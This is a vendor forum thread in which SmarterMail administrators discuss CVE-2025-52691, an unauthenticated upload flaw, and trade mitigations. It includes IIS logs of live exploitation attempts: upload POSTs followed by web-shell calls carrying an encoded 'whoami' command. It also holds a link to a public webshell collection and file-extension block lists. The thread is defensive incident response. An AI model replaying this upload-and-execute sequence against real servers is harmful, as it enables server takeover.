Back to Community Threads
CVE
Problem reported by Tan - 12/28/2025 at 9:03 PM
Resolved
T
Hi

We just received alert about CVE-2025-52691 that it is affecting smartermail.

i cant find much information about this officially

https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-124/

120 Replies

Reply to Thread
Update to a build later than 9413....
Gabriele Maoret - SERSIS Replied
12/29/2025 at 5:21 AM
I'm pretty happy with the latest 9483...
Gabriele Maoret - Head of SysAdmins and CISO at SERSIS Currently manages 6 SmarterMail installations (1 in the cloud for SERSIS which provides services to a few hundred third-party email domains + 5 on-premise for customers who prefer to have their mail server in-house)
D
David Jamell Replied
12/29/2025 at 2:06 PM
It would be good if someone from Smartertools could weigh in on this.
Derek Curtis Replied
12/30/2025 at 7:30 AM
Employee Post Marked As Resolution
As Brian mentioned, the fix was put in place in Build 9413. We worked with the investigators and had a fix already in place when they reached out to us. In addition, if memory serves, the steps for replication were rather intricate. 
Derek Curtis CCO SmarterTools Inc. www.smartertools.com
J
J. LaDow Replied
12/30/2025 at 9:45 AM
And yet no public notice was ever issued to existing SM administrators about this?

You people patch something that allows unauthenticated uploads and possible RCE and there is no public notice anywhere?  I surely don't see ANYTHING in available release notes regarding this other than one line that states "General Security Fixes".

What are the hardening resolution steps other than a paid upgrade?

What are any indicators of compromise?

I have no words to describe how absolutely poorly this has been handled.

EDIT:

You know MailEnable may have been at a development standstill, but at least they provided security updates that didn't require hundreds if not thousands of dollars to acquire when in regards to vulnerabilities.  

You people might as well change your name to Microsoft and get it over with, considering actions like this...
MailEnable survivor / convert --
T
Tan Replied
12/30/2025 at 10:24 AM
Can I at least request which version it affect from as we might have some SM15 client too.
J
J. LaDow Replied
12/30/2025 at 10:27 AM
According to the CVE, it's ANY version of SM prior to 9413.


I'm so glad I spent close to a grand on software that has an unauthenticated file upload vulnerability and the only way to get a fix is to pay over 1k in upgrade fees. 

This is absolutely outrageous...

As of right now, we have to take our entire webmail interface offline, which will cost us clients because you people hid this when you knew about it.
MailEnable survivor / convert --
echoDreamz Replied
12/30/2025 at 11:59 AM
I'm so glad I spent close to a grand on software that has an unauthenticated file upload vulnerability and the only way to get a fix is to pay over 1k in upgrade fees.
Welcome to software development; where, bugs, vulns etc. exist and you have to pay annual upgrade and support fees and install new versions.

As of right now, we have to take our entire webmail interface offline, which will cost us clients because you people hid this when you knew about it.
No, you have to take it offline because you elected to not pay for upgrades and run (what sounds like) an EOL version of SmarterMail.

We had a similar situation with an FTP server product we use, we did not pay the upgrades fee and stayed on an older version (due to their API changing and the uppers not wanting to pay the upgrade fees + dev time to update our control panel). The older version had a fairly nasty CVE in the web interface; we had to kill off the web-based file access for a few weeks while our devs finalized the control panel changes for the new version.

Now, I will agree that SmarterTools has definitely did a poor job on communication here. When they received this, development should have gotten on it and notified customers via email about the vuln. and that a fix was inbound or available and how to tell if their server(s) have been exploited already. Running an EOL version of a product has risks and this is certainly one of them, I do not expect SmarterTools to lift a finger for releasing new versions of EOL software, especially, SmarterMail v15 which last had an update back in 2019. Frankly, if you are on EOL versions of software, especially those that are touching the Internet, you are asking for trouble.
J
J. LaDow Replied
12/30/2025 at 12:24 PM
Initial purchase was in May of 2023.  We stayed on the version we were on because upgrades were unusable for almost 6 months of our support agreement.  After that nightmare, there was no justification for paying a maintenance agreement for software we couldn't upgrade to without incurring loss of customers due to upgrades causing more problems than they were worth.  We're not some fortune 500 company that has thousands of dollars to burn and clients to spare when the shit hits the fan.

While I do agree with your statement on many aspects - I disagree that 1.5 years should be considered END OF LIFE on an Enterprise grade product.

Even Microsoft released security updates for exchange going back at least 2 full versions.

Regardless - the fact that NONE of this information was made available to SM administrators - and we had to find out from third parties is in-excusable. PERIOD.
MailEnable survivor / convert --
T
Tan Replied
12/30/2025 at 12:25 PM
@J. LaDow, I know but I would like to know more about the extend of the vulnerability as SmarterMail has so many features on their platform.

@Derek Curtis, mind sharing the extend of this issue?

@all Yes, we understand that upgrading would resolve the issue. However, please note that SmarterMail upgrades are not always smooth, so we need to plan and execute them in batches.

Additionally, some clients are on expired licenses. In those cases, we cannot simply insist on an upgrade by stating there is a CVE on an EOL product when we do not have an official CVE reference, and the information is based only on third-party sources.

I simply want to gather the necessary information so we can move forward with our clients appropriately. Any software can be affected by vulnerabilities or bugs; what matters is how we manage the situation, approach the issue, and ensure our clients are properly informed before they make a decision, which in turn allows us to plan accordingly.
j
josh levine Replied
12/30/2025 at 8:02 PM
Wow, huge policy error. There really should have been (still should be) a *critical* alert to all SM admins with full mitigation instructions. Almost unlimited potential harm, especially considering that SM service installs running in Local System account by default.
J
Jack. Replied
12/31/2025 at 5:45 AM
Yes, we need more information. Is there any possible mitigation for the vulnerability?

From which version does the vulnerability exist?
Sébastien Riccio Replied
1/2/2026 at 1:06 AM
Depending on how is the vulnerability exploited, it might be possible to add a filter in IIS or with a web application firewall, to reject calls to the precise vulnerable component URL and associated parameters.

If the vulnerability allows the uploading of a file anywhere on the system, there might be ways to add some regex filter on the file path variable to avoid this.

It's only speculation here though, but might an interesting to secure your server if you have no active subscription...
Sébastien Riccio System & Network Admin https://swisscenter.com
Robert G. Replied
1/2/2026 at 3:16 PM
I understand the need to validate facts, but listing Build 9413 as having only “General Fixes” raises concerns around transparency.

Can someone from SmarterTools leadership provide context on what occurred? While we recognize the issue has been fixed, understanding the root cause helps customers assess risk and maintain trust.

Additionally, it’s concerning that no proactive alert was sent to customers. Communicating security-impacting issues is a fundamental expectation for enterprise software providers.
GearHost.com
Richard Laliberte Replied
1/2/2026 at 4:49 PM
I'm thinking this is one of those general double edge swords. Smartermail is definitely not updated by everyone at every release, with many opting to remain on older, stable versions due to various bugs and such. We see it in the forums almost daily. 

So for this reason alone, i believe the team was correct in not listing it on the public updates instead of "General Fixes" Why give attacker that information if they don't already have it. I also agree that anyone running EOL installs is running at their own risk, as many have stated. 

As for patches for older versions before 9413... If you've read the forums, it's highly unlikely this is even an option (but who knows, maybe i'm wrong?)

But, I do agree with most of the feedback in this forum that emails should have been sent out to admins who are on some type of plan
Tim Uzzanti Replied
1/4/2026 at 11:01 AM
Employee Post
That is also our takeaway from this thread and will be our approach moving forward.
Tim Uzzanti CEO SmarterTools Inc. www.smartertools.com
J
J. LaDow Replied
1/5/2026 at 9:39 AM
A capture from our IIS logs -- this is what shows up when they try to exploit this vulnerability: 
2026-01-05 07:58:41 [redacted] GET / - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:41 [redacted] GET /interface/root - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:43 [redacted] GET /Interface/Login.aspx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:45 [redacted] GET /interface/root - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:47 [redacted] POST /api/upload - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:48 [redacted] POST /api/upload - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:50 [redacted] POST /api/upload - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:52 [redacted] POST /api/v1/upload - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:53 [redacted] POST /api/v1/upload - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:55 [redacted] POST /api/v1/upload - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:57 [redacted] POST /Interface/Frmx/UploadFile.aspx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:58:58 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:00 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:01 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:02 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:04 [redacted] POST /Interface/Frmx/UploadFile.aspx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:06 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:07 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:09 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:10 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:11 [redacted] POST /Interface/Frmx/UploadFile.aspx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:11 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:14 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:15 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:15 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:17 [redacted] POST /MRS/Upload.ashx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:19 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:19 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:21 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:21 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:24 [redacted] POST /MRS/Upload.ashx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:26 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:27 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:27 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:29 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:31 [redacted] POST /MRS/Upload.ashx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:31 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:33 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:35 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:37 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:39 [redacted] POST /Services/Upload.ashx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:39 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:41 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:43 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:45 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:46 [redacted] POST /Services/Upload.ashx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:46 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:49 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:49 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:52 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:52 [redacted] POST /Services/Upload.ashx - 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:54 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:55 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:57 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:58 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 07:59:59 [redacted] GET /e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 08:00:01 [redacted] GET /wwwroot/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 08:00:01 [redacted] GET /Interface/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56 
2026-01-05 08:00:04 [redacted] GET /MRS/e217721e.aspx auth=7c90cc4eb3ca433b&cmd=d2hvYW1p 443 - 2406:da18:492:9301:dbab:91f:a88d:8c56
So far, they are not successful in dropping the file on the version we are on - and we are not yet able to upgrade due to testing.  

The .aspx file they are attempting to drop is a full web shell in this case - the file name changes but the size of the post so far has not.  Observed from several IPs including the one above that is housed at Amazon.

Exploitation attempts started approx 48 hours ago.
MailEnable survivor / convert --
kevind Replied
1/5/2026 at 1:59 PM
Does anyone have tips or ideas on how to mitigate this? Add a filter in IIS? Regex filter on the file path? Etc.

Would be nice to be able to block these attacks on older builds until they can be upgraded.
Matthew Titley Replied
1/5/2026 at 3:16 PM
This particular IIS vulnerability got me off my rear end to replace both the Windows server (virtual) and upgrade to the latest SM build over the weekend. Pucker factor is always sky-high when server migrating and version upgrading but it was a success albeit with a few hiccups along the way. Went from 9229 to 9483 without an issue. Server migration wasn't quite as easy due to cert problems but it all got ironed out.

@Tim, letting customers on active maintenance know about significant CVEs makes a whole lot of sense and would be appreciated.

Matt
Tim Uzzanti Replied
1/5/2026 at 5:02 PM
Employee Post

An email is going out tonight to all customers who were running builds prior to 9413 in December. For those who have recently upgraded, you may still receive the email—we wanted to ensure we reached more people rather than fewer.

A similar email will be sent in the future if and when a CVE occurs, and again once a build is available that resolves it. In our 23+ years, we have had only a few CVEs, which were primarily communicated through release notes and critical fix references. We appreciate the feedback that encouraged this change in policy moving forward.

Thank you again to those who stayed on topic and worked with others to help educate and mitigate issues for the broader community.
Tim Uzzanti CEO SmarterTools Inc. www.smartertools.com
Jade B Replied
1/5/2026 at 9:04 PM
@J. LaDow

Thanks for sharing those logs, this may help others in identifying possible IOC.
@Tim and @Derek, is it safe to assume that blocking extensions may mitigate this?

If so then we could as a community share what we have configured on your SM installations under Settings > General > Attachments > "Extension Blacklist for Uploads"?

Below is a starting point

AIR
APP
ASP
ASPX
BAT
CER
CGI
CMD
COM
ESH
EXE
GADGET
HTA
JAR
JS
JSE
JSX
MSI
PL
PS1
PY
PYC
PYO
REG
RGS
SCR
SCRIPT
SCT
UDF
VB
VBE
VBS
VBSCRIPT
WS
WSF
 
Jade B Replied
1/5/2026 at 9:46 PM
A quick update, this post details some mitigation techniques which could temporarily aid whilst all smartermail administrators start scanning for indicators of compromise




Remediation and Hardening Strategy

If you are running SmarterMail, you are in a race against time.

  1. Immediate Patching

Upgrade to Build 9413 immediately. SmarterTools has implemented strict authentication checks and whitelist-based file extension validation in this release.

  1. IIS Request Filtering (Temporary Mitigation)

If you cannot patch immediately, you must block the attack vector at the web server level. Use IIS Request Filtering to deny access to .aspx files in upload directories.

  • Action: In IIS Manager -> Request Filtering -> URL Tab -> Deny Sequence.
  • Rule: Block requests to /App_Data/*.aspx or /FileStorage/*.aspx.
  1. Forensic Hunting

Assume you might already be compromised. Search the filesystem for:

  • Files ending in .aspx, .ashx, .cer, .soap created between Dec 29, 2025, and today.
  • IIS Logs (u_ex*.log) for POST requests to upload endpoints coming from unknown IP addresses, followed immediately by GET requests to new files.
I have updated the extension blacklist based on suggestions within the above post

AIR
APP
ASP
ASPX
BAT
CER
CGI
CMD
COM
ESH
EXE
GADGET
HTA
JAR
JS
JSE
JSX
MSI
PL
PS1
PY
PYC
PYO
REG
RGS
SCR
SCRIPT
SCT
SOAP
UDF
VB
VBE
VBS
VBSCRIPT
WS
WSF
J
J. LaDow Replied
1/5/2026 at 9:46 PM
Add in:

ASHX (.NET service handler file)
ASMX (.NET service handler file)
CS (csharp code file)
PHP (php code file)
PS (powershell with wrong extension)
MailEnable survivor / convert --
Jade B Replied
1/5/2026 at 9:52 PM
Thanks @J. LaDow

Updated the blocklist extension

AIR
APP
ASHX
ASMX
ASP
ASPX
BAT
CER
CGI
CMD
COM
CS
ESH
EXE
GADGET
HTA
JAR
JS
JSE
JSX
MSI
PHP
PL
PS
PS1
PY
PYC
PYO
REG
RGS
SCR
SCRIPT
SCT
SOAP
UDF
VB
VBE
VBS
VBSCRIPT
WS
WSF
Jade B Replied
1/5/2026 at 11:16 PM
For those wanting to add the request filtering to your web.config files, navigate to C:\Program Files (x86)\SmarterTools\SmarterMail\MRS and make a backup of your web.config.

Now open web.config within notepad++ or similar and replace the line <requestFiltering allowDoubleEscaping="true">
			<requestFiltering allowDoubleEscaping="true">
                <denyUrlSequences>
                    <add sequence="/App_Data/*.aspx" />
                    <add sequence="/FileStorage/*.aspx" />
                    <add sequence="/upload/*.aspx" />
                    <add sequence="/FileStorageTemp/*.aspx" />
                </denyUrlSequences>
            </requestFiltering>
Save, and perform an iis reset from the command prompt.
It may be word adding additional extensions to this filter list
J
J. LaDow Replied
1/5/2026 at 11:16 PM
We also added 

CAB
CSHTML
MSIX
JAVA
SH (common bash shell script extension)
XML

So our overall list "currently" looks as follows:
AIR
APP
APPX
ASHX
ASMX
ASP
ASPX
BAT
CAB
CGI
CMD
COM
CS
CSHTML
DLL
ESH
EXE
GADGET
HTA
JAR
JAVA
JS
JSE
JSX
LNK
MSI
MSIX
PHP
PL
PS
PS1
PY
PYC
PYO
REG
RGS
SCR
SCRIPT
SCT
SH
SOAP
SYS
UDF
VB
VBE
VBS
VBSCRIPT
WS
WSF
XML

In ALL reality (and a topic for another thread entirely) -- this feature REALLY would benefit from giving us the option to have an "allow list" instead of an "exclusion/block list" -- in other words, let us "safelist" extensions we want to allow, such as documents, media, and archives and block ANYTHING else.  

Another potential mitigation is what "write" permissions are allowed/configured on the MRS folder (which houses the web application) -- the only folder that technically needs write permissions is the APP_DATA folder - the rest should be able to be hardened against ANY arbitrary writes at the file system level.  Whether or not this is possible is another story.
MailEnable survivor / convert --
Jade B Replied
1/6/2026 at 12:41 AM
@J. LaDow - I had the same thoughts about what should be allowed vs what should be blocked as the list of blocked extensions far exceeds any possible number of allowed extensions.

If possible, remove permissions on the folder below for servers that dont need file storage

C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\upload
Jade B Replied
1/6/2026 at 1:01 AM
This appears to be related to what is being used to exploit smartermail servers

https://github.com/tennc/webshell/blob/master/asp/webshell.asp
Jade B Replied
1/6/2026 at 2:14 AM
updated extension blocklist

AIR
APP
APPX
ASHX
ASMX
ASP
ASPX
BAT
CAB
CER
CGI
CMD
COM
CS
CSHTML
DLL
ESH
EXE
GADGET
HTA
JAR
JAVA
JS
JSE
JSX
MSI
MSIX
PHP
PL
PS
PS1
PY
PYC
PYO
RAR
REG
RGS
SCR
SCRIPT
SCT
SH
SOAP
SYS
TAR
UDF
VB
VBE
VBS
VBSCRIPT
WS
WSF
XML
Derek Curtis Replied
1/6/2026 at 7:02 AM
Employee Post
This list is great. A couple of quick updates:

1. We'll be adding a toggle to disallow uploads without an extension, and
2. We're also expanding the default list of excluded extensions. Thanks for this, and the devs will review and update their own changes as needed. 
Derek Curtis CCO SmarterTools Inc. www.smartertools.com
Andrew Barker Replied
1/6/2026 at 7:13 AM
Employee Post
Jade B,

Be careful with removing permissions to the App_Data/upload directory, even if you have file storage disabled. That directory is used as the initial landing point for most file uploads, including attachments for email, appointments, tasks, etc.
Andrew Barker Lead Software Developer SmarterTools Inc. www.smartertools.com
J
Jay Dubb Replied
1/6/2026 at 7:31 AM
I'll second the assertion that the fix was announced way too softly as "general security fixes" and not "critical security update".  

Listing a fix as "general" can easily be interpreted as we made some security enhancements you will like.  It does NOT convey the message:  Hey, this is a really important security fix, upgrade NOW or be exposed.  A "general security" update could include the recent ability to blacklist authentication attempts by country.  That is a nice enhancement and would fall under "general security" updates because it expands our admin toolbox.  But not using that general security enhancement does not automatically leave a system vulnerable.  It's a wish-list item fulfilled.

We understand apps will have bugs, and sometimes severe ones.  What matters most is that (a) the vendor is quick to issue a fix or workaround guidance, and (b) is expeditious about notifying its customer base that the "fix" put out is a really important one that needs to be done NOW.

You can alert that a vulnerability exists without having to reveal the exact nature of the vulnerability, so as not to give hackers a head start.
 
Jade B Replied
1/6/2026 at 7:41 AM
@Derek Curtis

How do prevent the upload of files without an extension on the current version of SM - I ask as most of the hits have been exactly this - files without any extension?

@Andrew Barker thanks for headsup, how ever I would rather have a server that limits uploads in favor being compromised.
J
J. LaDow Replied
1/6/2026 at 8:12 AM
Add LNK (Windows "Shortcut" file - MAJOR ATTACK VECTOR)  to your extension block lists.  My list above is updated to reflect this.
MailEnable survivor / convert --
D
David Feuer Replied
1/6/2026 at 2:02 PM
OK, so I found the malicious shell code in the \SmarterMail\Service\App_Data\upload folder on machines that were running SM versions past 9413. All the files were uploaded in the last few days. 

All were @_ [random gibberish names] with no extension 
Is this expected or is something else going on?

-Dave
J
J. LaDow Replied
1/6/2026 at 2:32 PM
@dave - do you have IIS logs for those periods?  IIS will show if they were uploaded recently. Timestamps will be at GMT in IIS logs versus your local filesystem timestamps in the App_Data folder.

I have a post above showing one method of exploitation but the version we were running apparently is not vulnerable. 

The random filenames are generated by SmarterMail's upload handler.  It's the upload handler that is the problem in this case - it allows unauthenticated file upload based on our findings - 

Keep in mind that folder does handle legitimate uploads as well -- what detection did you use to determine the files present were malicious?
MailEnable survivor / convert --
D
David Feuer Replied
1/6/2026 at 3:02 PM
@J. LaDow yeah I see something at that time in the logs.
BUT it was all 400 / 404 errors and just posts no get from what I can see
However the file was still there.
At the time it was running 9434
See below.

Used my eyes to read the code and a bit of chat GPT.

Just trying to get a feel if there is an issue or not.

@Tim Uzzanti 
Is there any more info you can give?


2026-01-05 12:52:58 x.x.x.x POST /api/v1/upload X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=8614698d-d3f8-4c39-8571-f06775b53487&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.169+Safari/537.36 - 404 0 0 592 1771 83
2026-01-05 12:52:58 x.x.x.x POST /api/v1/upload X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=d5237bab-7b89-4d6d-bb31-16e5ef24f8f4&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_6)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/15.6+Safari/605.1.15 - 404 0 0 592 2247 85
2026-01-05 12:52:58 x.x.x.x POST /api/upload X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=fbbe50d5-6b7d-454a-8c78-9f7ac61ca500&SERVER-STATUS=400 443 162.252.199.221 Mozilla/5.0+(X11;+Linux+i686;+rv:1.9.7.20)+Gecko/+Firefox/3.6.4 - 400 0 0 685 1716 82
2026-01-05 12:52:58 x.x.x.x POST /MRS/Upload.ashx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=5abb690a-1b85-4276-ad9a-3141ecb94136&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/17.4.1+Safari/605.1.15 - 404 0 0 592 1777 85
2026-01-05 12:52:58 x.x.x.x POST /MRS/Upload.ashx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=37c1715d-3fb0-4710-acb6-e3cfdabecfb5&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(Macintosh,+Intel+Mac+OS+X+10_15_7)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/18.1.1+Safari/605.1.15 - 404 0 0 592 2287 84
2026-01-05 12:52:58 x.x.x.x POST /Interface/Frmx/UploadFile.aspx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=6ad3970a-ddfa-4e8f-8f6b-da150e373dc9&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(X11;+Linux+x86_64;+rv:103.0)+Gecko/20100101+Firefox/103.0 - 404 0 0 592 2217 84
2026-01-05 12:52:58 x.x.x.x POST /Services/Upload.ashx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=5750a1e7-f54c-43b1-a17a-a47f60989879&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/534.57.2+(KHTML,+like+Gecko)+Version/5.1.7+Safari/534.57.2 - 404 0 0 592 2243 86
2026-01-05 12:52:58 x.x.x.x POST /MRS/Upload.ashx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=48beb2a0-d962-4a71-b2ca-3502e9bff8ac&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(SS;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/140.0.0.0+Safari/537.36 - 404 0 0 592 2232 84
2026-01-05 12:52:58 x.x.x.x POST /Interface/Frmx/UploadFile.aspx X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=89f79b60-3e83-47ef-8152-26719b652cbc&SERVER-STATUS=404 443 162.252.199.221 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_11)+AppleWebKit/601.1.27+(KHTML,+like+Gecko)+Chrome/47.0.2526.106+Safari/601.1.27 - 404 0 0 592 2306 83
2026-01-05 12:52:58 x.x.x.x POST /api/upload X-ARR-CACHE-HIT=0&X-ARR-LOG-ID=dc311e0b-801a-4ccb-afd6-e20de8c00ac3&SERVER-STATUS=400 443 162.252.199.221 Mozilla/5.0+(Kubuntu;+Linux+i686)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/134.0.0.0+Safari/537.36 - 400 0 0 685 2230 92
